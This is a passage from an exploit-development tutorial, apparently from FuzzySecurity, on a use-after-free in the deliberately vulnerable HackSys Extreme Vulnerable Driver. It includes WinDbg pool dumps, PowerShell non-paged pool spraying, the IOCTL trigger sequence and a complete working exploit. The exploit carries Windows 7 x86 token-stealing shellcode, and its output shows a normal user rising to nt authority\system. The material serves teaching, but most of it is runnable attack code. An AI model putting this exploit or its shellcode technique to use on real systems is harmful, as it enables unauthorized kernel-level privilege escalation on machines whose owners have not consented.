PROCESS 8605e030 SessionId: 1 Cid: 0ff4 Peb: 7ffdf000 ParentCid: 05a8
DirBase: 7f7d6560 ObjectTable: 98446fc0 HandleCount: 12826.
Image: powershell.exe

```

```
Handle table at 98446fc0 with 12826 entries in use
```

```

efec: Object: 85270790 GrantedAccess: 000f0003 Entry: a0974fd8
Object: 85270790 Type: (8483c4c0) IoCompletionReserve
ObjectHeader: 85270778 (new version)
HandleCount: 1 PointerCount: 1

```

```
kd> !pool 85270778
```

```
Pool page 85270778 region is Nonpaged pool
```

```

85270000 size: 60 previous size: 0 (Allocated) IoCo (Protected)
85270060 size: 40 previous size: 60 (Allocated) Even (Protected)
852700a0 size: f8 previous size: 40 (Free) IoCo
85270198 size: 230 previous size: f8 (Free ) Irp Process: 84977c78
852703c8 size: 230 previous size: 230 (Free ) Irp Process: 84977c78
852705f8 size: 168 previous size: 230 (Free ) CcSc

```

```

*85270760 size: 60 previous size: 168 (Allocated) *IoCo (Protected)
    Owing component : Unknown (update pooltag.txt)
852707c0 size: 60 previous size: 60 (Free ) IoCo (Protected)
85270820 size: 60 previous size: 60 (Allocated) IoCo (Protected)
85270880 size: 60 previous size: 60 (Free ) IoCo (Protected)
852708e0 size: 60 previous size: 60 (Allocated) IoCo (Protected)
85270940 size: 60 previous size: 60 (Free ) IoCo (Protected)
852709a0 size: 60 previous size: 60 (Allocated) IoCo (Protected)
85270a00 size: 60 previous size: 60 (Free ) IoCo (Protected)
85270a60 size: 60 previous size: 60 (Allocated) IoCo (Protected)
85270ac0 size: 60 previous size: 60 (Free ) IoCo (Protected)
85270b20 size: 60 previous size: 60 (Allocated) IoCo (Protected)
85270b80 size: 60 previous size: 60 (Free ) IoCo (Protected)
85270be0 size: 60 previous size: 60 (Allocated) IoCo (Protected)
85270c40 size: 60 previous size: 60 (Free ) IoCo (Protected)
85270ca0 size: 60 previous size: 60 (Allocated) IoCo (Protected)
85270d00 size: 60 previous size: 60 (Free ) IoCo (Protected)
85270d60 size: 60 previous size: 60 (Allocated) IoCo (Protected)
85270dc0 size: 60 previous size: 60 (Free ) IoCo (Protected)
85270e20 size: 60 previous size: 60 (Allocated) IoCo (Protected)
85270e80 size: 60 previous size: 60 (Free ) IoCo (Protected)
85270ee0 size: 60 previous size: 60 (Allocated) IoCo (Protected)
85270f40 size: 60 previous size: 60 (Free ) IoCo (Protected)
85270fa0 size: 60 previous size: 60 (Allocated) IoCo (Protected)

```

These 2500 free 0x60-byte pool chunks are now in a predictable location and each of them is surrounded by two allocated chunks which prevents them from coalescing into odd sizes!

## Gain Control Over EIP

Time to put things together as per our game plan.

```

Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;

public static class EVD
{

```



```

[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
public static extern IntPtr CreateFile(
    String lpFileName,
    UInt32 dwDesiredAccess,
    UInt32 dwShareMode,
    IntPtr lpSecurityAttributes,
    UInt32 dwCreationDisposition,
    UInt32 dwFlagsAndAttributes,
    IntPtr hTemplateFile);

[DllImport("Kernel32.dll", SetLastError = true)]
public static extern bool DeviceIoControl(
    IntPtr hDevice,
    int IoControlCode,
    byte[] InBuffer,
    int nInBufferSize,
    byte[] OutBuffer,
    int nOutBufferSize,
    ref int pBytesReturned,
    IntPtr Overlapped);

[DllImport("kernel32.dll", SetLastError = true)]
public static extern Byte CloseHandle(
    IntPtr hObject);

[DllImport("ntdll.dll", SetLastError = true)]
public static extern int NtAllocateReserveObject(
    ref IntPtr hObject,
    UInt32 ObjectAttributes,
    UInt32 ObjectType);

[DllImport("kernel32.dll")]
public static extern uint GetLastError();
}
"@

function IoCo-PoolSpray {
    echo "[+] Derandomizing NonPagedPool.."
    $Spray = @()
    for ($i=0;$i -lt 10000;$i++) {
        $hObject = [IntPtr]::Zero
        $CallResult = [EVD]::NtAllocateReserveObject([ref]$hObject, 0, 1)
        if ($CallResult -eq 0) {
            $Spray += $hObject
        }
    }
    $Script:IoCo_hArray1 += $Spray
    echo "[+] $($IoCo_hArray1.Length) IoCo objects created!"
}

```

```

echo "[+] Allocating sequential objects.."
$Spray = @()
for ($i=0;$i -lt 5000;$i++) {
    $hObject = [IntPtr]::Zero
    $CallResult = [EVD]::NtAllocateReserveObject([ref]$hObject, 0, 1)
    if ($CallResult -eq 0) {
        $Spray += $hObject
    }
}
$Script:IoCo_hArray2 += $Spray
echo "[+] $($IoCo_hArray2.Length) IoCo objects created!"

echo "[+] Creating non-paged pool holes.."
for ($i=0;$i -lt $($IoCo_hArray2.Length);$i+=2) {
    $CallResult = [EVD]::CloseHandle($IoCo_hArray2[$i])
    if ($CallResult -ne 0) {
        $FreeCount += 1
    }
}
echo "[+] Free'd $FreeCount IoCo objects!"
}

$hDevice = [EVD]::CreateFile("\\.\HacksysExtremeVulnerableDriver", [System.IO.FileAccess]::ReadWrite, [Sy

if ($hDevice -eq -1) {
    echo "`n[!] Unable to get driver handle..`n"
    Return
} else {
    echo "`n[>] Driver information.."
    echo "[+] lpFileName: \\.\HacksysExtremeVulnerableDriver"
    echo "[+] Handle: $hDevice"
}

echo "`n[>] Spraying non-paged kernel pool!"
IoCo-PoolSpray

echo "`n[>] Staging vulnerability.."
# Allocate UAF Object
# ---
# 0x222013 - HACKSYS_EVD_IOCTL_ALLOCATE_UAF_OBJECT
echo "[+] Allocating UAF object"
[EVD]::DeviceIoControl($hDevice, 0x222013, $No_Buffer, $No_Buffer.Length, $null, 0, [ref]0, [System.IntPt

# Free UAF Object
# ---
# 0x22201B - HACKSYS_EVD_IOCTL_FREE_UAF_OBJECT
echo "[+] Freeing UAF object"

```

```
[EVD]::DeviceIoControl($hDevice, 0x22201B, $No_Buffer, $No_Buffer.Length, $null, 0, [ref]0, [System.IntPt
# Fake Object allocation
# ---
# 0x22201F - HACKSYS_EVD_IOCTL_ALLOCATE_FAKE_OBJECT
echo "[+] Spraying 5000 fake objects"
$Buffer = [Byte[]](0x41)*0x4 + [Byte[]](0x42)*0x5B + 0x00 # len = 0x60
for ($i=0;$i -lt 5000;$i++){
    [EVD]::DeviceIoControl($hDevice, 0x22201F, $Buffer, $Buffer.Length, $null, 0, [ref]0, [System.IntPtr]
}

# Trigger stale callback
# ---
# 0x222017 - HACKSYS_EVD_IOCTL_USE_UAF_OBJECT
echo "`n[>] Triggering UAF vulnerability!`n"
[EVD]::DeviceIoControl($hDevice, 0x222017, $No_Buffer, $No_Buffer.Length, $null, 0, [ref]0, [System.IntPtr]
```

Let's put a breakpoint in the UseUafObject function where the callback pointer get called and run our final POC.

```

kd> g
Breakpoint 0 hit
HackSysExtremeVulnerableDriver+0x42f5:
937262f5 ff10          call     dword ptr [eax]
kd> r
eax=85251d08 ebx=93727cb8 ecx=93727cb8 edx=00000065 esi=00000000 edi=85b9ad98
eip=937262f5 esp=95131bac ebp=95131bdc iopl=0         nv up ei pl nz na pe nc
cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00000206
HackSysExtremeVulnerableDriver+0x42f5:
937262f5 ff10          call     dword ptr [eax]             ds:0023:85251d08=41414141
kd> dc 85251d08
85251d08  41414141 42424242 42424242 42424242  AAAABBBBBBBBBBBB
85251d18  42424242 42424242 42424242 42424242  BBBBBBBBBBBBBBBB
85251d28  42424242 42424242 42424242 42424242  BBBBBBBBBBBBBBBB
85251d38  42424242 42424242 42424242 42424242  BBBBBBBBBBBBBBBB
85251d48  42424242 42424242 42424242 42424242  BBBBBBBBBBBBBBBB
85251d58  42424242 00424242 040c000c ef436f49  BBBBBBB.....IoC.
85251d68  00000000 0000005c 00000000 00000000  ....\.....
85251d78  00000001 00000001 00000000 0008000a  .....
kd> !pool 85251d08
Pool page 85251d08 region is Nonpaged pool
85251000 size: 60 previous size: 0 (Allocated) IoCo (Protected)
85251060 size: 40 previous size: 60 (Free) i.c.
852510a0 size: 60 previous size: 40 (Allocated) IoCo (Protected)
85251100 size: 60 previous size: 60 (Allocated) Hack
85251160 size: 60 previous size: 60 (Allocated) IoCo (Protected)
852511c0 size: 60 previous size: 60 (Allocated) Hack
85251220 size: 60 previous size: 60 (Allocated) IoCo (Protected)
85251280 size: 60 previous size: 60 (Allocated) Hack
852512e0 size: 60 previous size: 60 (Allocated) Hack
85251340 size: 60 previous size: 60 (Allocated) Hack
852513a0 size: 60 previous size: 60 (Allocated) Hack
85251400 size: 60 previous size: 60 (Allocated) Hack
85251460 size: 60 previous size: 60 (Allocated) Hack
852514c0 size: 60 previous size: 60 (Allocated) Hack
85251520 size: 60 previous size: 60 (Allocated) Hack
85251580 size: 60 previous size: 60 (Allocated) Hack
852515e0 size: 60 previous size: 60 (Allocated) Hack
85251640 size: 60 previous size: 60 (Allocated) Hack
852516a0 size: 60 previous size: 60 (Allocated) Hack
85251700 size: 60 previous size: 60 (Allocated) Hack
85251760 size: 60 previous size: 60 (Allocated) Hack
852517c0 size: 60 previous size: 60 (Allocated) Hack
85251820 size: 60 previous size: 60 (Allocated) Hack
85251880 size: 60 previous size: 60 (Allocated) Hack
852518e0 size: 60 previous size: 60 (Allocated) Hack
85251940 size: 60 previous size: 60 (Allocated) Hack
852519a0 size: 60 previous size: 60 (Allocated) Hack
85251a00 size: 60 previous size: 60 (Allocated) Hack
85251a60 size: 60 previous size: 60 (Allocated) Hack
85251ac0 size: 60 previous size: 60 (Allocated) Hack
85251b20 size: 60 previous size: 60 (Allocated) Hack
85251b80 size: 60 previous size: 60 (Allocated) Hack
85251be0 size: 60 previous size: 60 (Allocated) Hack
85251c40 size: 60 previous size: 60 (Allocated) Hack
85251ca0 size: 60 previous size: 60 (Allocated) Hack
85251d00 size: 60 previous size: 60 (Allocated) Hack
Owning component : Unknown (update pooltag.txt)
85251d60 size: 60 previous size: 60 (Allocated) Hack
85251dc0 size: 60 previous size: 60 (Allocated) Hack

```

Fake  
Object

IoCo  
Object

...Snip...

## Game Over

That's pretty much the whole jam, to weaponize our POC all we need to do is replace the callback pointer with a pointer to our shellcode. For further details please refer to the full exploit below.

```
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;

public static class EVD
{
    [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    public static extern IntPtr CreateFile(
        String lpFileName,
        UInt32 dwDesiredAccess,
        UInt32 dwShareMode,
        IntPtr lpSecurityAttributes,
        UInt32 dwCreationDisposition,
        UInt32 dwFlagsAndAttributes,
        IntPtr hTemplateFile);

    [DllImport("Kernel32.dll", SetLastError = true)]
    public static extern bool DeviceIoControl(
        IntPtr hDevice,
        int IoControlCode,
        byte[] InBuffer,
        int nInBufferSize,
        byte[] OutBuffer,
        int nOutBufferSize,
        ref int pBytesReturned,
        IntPtr Overlapped);

    [DllImport("kernel32.dll", SetLastError = true)]
    public static extern Byte CloseHandle(
        IntPtr hObject);

    [DllImport("kernel32.dll", SetLastError = true)]
    public static extern IntPtr VirtualAlloc(

```

```

        IntPtr lpAddress,
        uint dwSize,
        UInt32 flAllocationType,
        UInt32 flProtect);

[DllImport("ntdll.dll", SetLastError = true)]
public static extern int NtAllocateReserveObject(
    ref IntPtr hObject,
    UInt32 ObjectAttributes,
    UInt32 ObjectType);
}
"@

function IoCo-PoolSpray {
    echo "[+] Derandomizing NonPagedPool.."
    $Spray = @()
    for ($i=0;$i -lt 10000;$i++) {
        $hObject = [IntPtr]::Zero
        $CallResult = [EVD]::NtAllocateReserveObject([ref]$hObject, 0, 1)
        if ($CallResult -eq 0) {
            $Spray += $hObject
        }
    }
    $Script:IoCo_hArray1 += $Spray
    echo "[+] $($IoCo_hArray1.Length) IoCo objects created!"

    echo "[+] Allocating sequential objects.."
    $Spray = @()
    for ($i=0;$i -lt 5000;$i++) {
        $hObject = [IntPtr]::Zero
        $CallResult = [EVD]::NtAllocateReserveObject([ref]$hObject, 0, 1)
        if ($CallResult -eq 0) {
            $Spray += $hObject
        }
    }
    $Script:IoCo_hArray2 += $Spray
    echo "[+] $($IoCo_hArray2.Length) IoCo objects created!"

    echo "[+] Creating non-paged pool holes.."
    for ($i=0;$i -lt $($IoCo_hArray2.Length);$i+=2) {
        $CallResult = [EVD]::CloseHandle($IoCo_hArray2[$i])
        if ($CallResult -ne 0) {
            $FreeCount += 1
        }
    }
    echo "[+] Free'd $FreeCount IoCo objects!"
}

```

```

# Compiled with Keystone-Engine
# Hardcoded offsets for Win7 x86 SP1
$Shellcode = [Byte[]] @(
    #---[Setup]
    0x60, # pushad
    0x64, 0xA1, 0x24, 0x01, 0x00, 0x00, # mov eax, fs:[KTHREAD_OFFSET]
    0x8B, 0x40, 0x50, # mov eax, [eax + EPROCESS_OFFSET]
    0x89, 0xC1, # mov ecx, eax (Current_EPROCESS structure)
    0x8B, 0x98, 0xF8, 0x00, 0x00, 0x00, # mov ebx, [eax + TOKEN_OFFSET]
    #---[Copy System PID token]
    0xBA, 0x04, 0x00, 0x00, 0x00, # mov edx, 4 (SYSTEM PID)
    0x8B, 0x80, 0xB8, 0x00, 0x00, 0x00, # mov eax, [eax + FLINK_OFFSET] <-|
    0x2D, 0xB8, 0x00, 0x00, 0x00, # sub eax, FLINK_OFFSET |
    0x39, 0x90, 0xB4, 0x00, 0x00, 0x00, # cmp [eax + PID_OFFSET], edx |
    0x75, 0xED, # jnz ->|
    0x8B, 0x90, 0xF8, 0x00, 0x00, 0x00, # mov edx, [eax + TOKEN_OFFSET]
    0x89, 0x91, 0xF8, 0x00, 0x00, 0x00, # mov [ecx + TOKEN_OFFSET], edx
    #---[Recover]
    0x61, # popad
    0xC3 # ret
)

# Write shellcode to memory
echo "`n[>] Allocating ring0 payload.."
[IntPtr]$Pointer = [EVD]::VirtualAlloc([System.IntPtr]::Zero, $Shellcode.Length, 0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($Shellcode, 0, $Pointer, $Shellcode.Length)
$ShellcodePointer = [System.BitConverter]::GetBytes($Pointer.ToInt32())
echo "[+] Payload size: $($Shellcode.Length)"
echo "[+] Payload address: 0x$("{0:X8}" -f $Pointer.ToInt32())"

$hDevice = [EVD]::CreateFile("\\.\HacksysExtremeVulnerableDriver", [System.IO.FileAccess]::ReadWrite, [Sy

if ($hDevice -eq -1) {
    echo "`n[!] Unable to get driver handle..`n"
    Return
} else {
    echo "`n[>] Driver information.."
    echo "[+] lpFileName: \\.\HacksysExtremeVulnerableDriver"
    echo "[+] Handle: $hDevice"
}

echo "`n[>] Spraying non-paged kernel pool!"
IoCo-PoolSpray

echo "`n[>] Staging vulnerability.."
# Allocate UAF Object
# ---
# 0x222013 - HACKSYS_EVD_IOCTL_ALLOCATE_UAF_OBJECT

```

```
echo "[+] Allocating UAF object"
[EVD]::DeviceIoControl($hDevice, 0x222013, $No_Buffer, $No_Buffer.Length, $null, 0, [ref]0, [System.IntPtr]0)

# Free UAF Object
#---
# 0x22201B - HACKSYS_EVD_IOCTL_FREE_UAF_OBJECT
echo "[+] Freeing UAF object"
[EVD]::DeviceIoControl($hDevice, 0x22201B, $No_Buffer, $No_Buffer.Length, $null, 0, [ref]0, [System.IntPtr]0)

# Fake Object allocation
#---
# 0x22201F - HACKSYS_EVD_IOCTL_ALLOCATE_FAKE_OBJECT
echo "[+] Spraying 5000 fake objects"
$Buffer = $ShellcodePointer + [Byte[]](0x42)*0x5B + 0x00 # len = 0x60
for ($i=0;$i -lt 5000;$i++){
    [EVD]::DeviceIoControl($hDevice, 0x22201F, $Buffer, $Buffer.Length, $null, 0, [ref]0, [System.IntPtr]0)
}

# Trigger stale callback
#---
# 0x222017 - HACKSYS_EVD_IOCTL_USE_UAF_OBJECT
echo "`n[>] Triggering UAF vulnerability!`n"
[EVD]::DeviceIoControl($hDevice, 0x222017, $No_Buffer, $No_Buffer.Length, $null, 0, [ref]0, [System.IntPtr]0)
```



```
Windows PowerShell
Copyright (C) 2009 Microsoft Corporation. All rights reserved.

PS C:\Users\b33f> whoami
win-oake6k9iui8\b33f
PS C:\Users\b33f>
PS C:\Users\b33f> .\Desktop\Kernel_UAF.ps1

[>] Allocating ring0 payload..
[+] Payload size: 56
[+] Payload address: 0x04C80000

[>] Driver information..
[+] lpFileName: \\.\HacksysExtremeVulnerableDriver
[+] Handle: 1752

[>] Spraying non-paged kernel pool!
[+] Derandomizing NonPagedPool..
[+] 10000 IoCo objects created!
[+] Allocating sequential objects..
[+] 5000 IoCo objects created!
[+] Creating non-paged pool holes..
[+] Free'd 2500 IoCo objects!

[>] Staging vulnerability..
[+] Allocating UAF object
[+] Freeing UAF object
[+] Spraying 5000 fake objects

[>] Triggering UAF vulnerability!

PS C:\Users\b33f> whoami
nt authority\system
PS C:\Users\b33f> _
```

## Comments

There are no comments posted yet. [Be the first one!](#)

## Post a new comment

Enter text right here!

Name

*Displayed next to your comments.*

Email

*Not displayed publicly.*

Subscribe to

None ▼

Submit Comment

© Copyright FuzzySecurity

[Home](#) | [Tutorials](#) | [Scripting](#) | [Exploits](#) | [Links](#) | [Contact](#)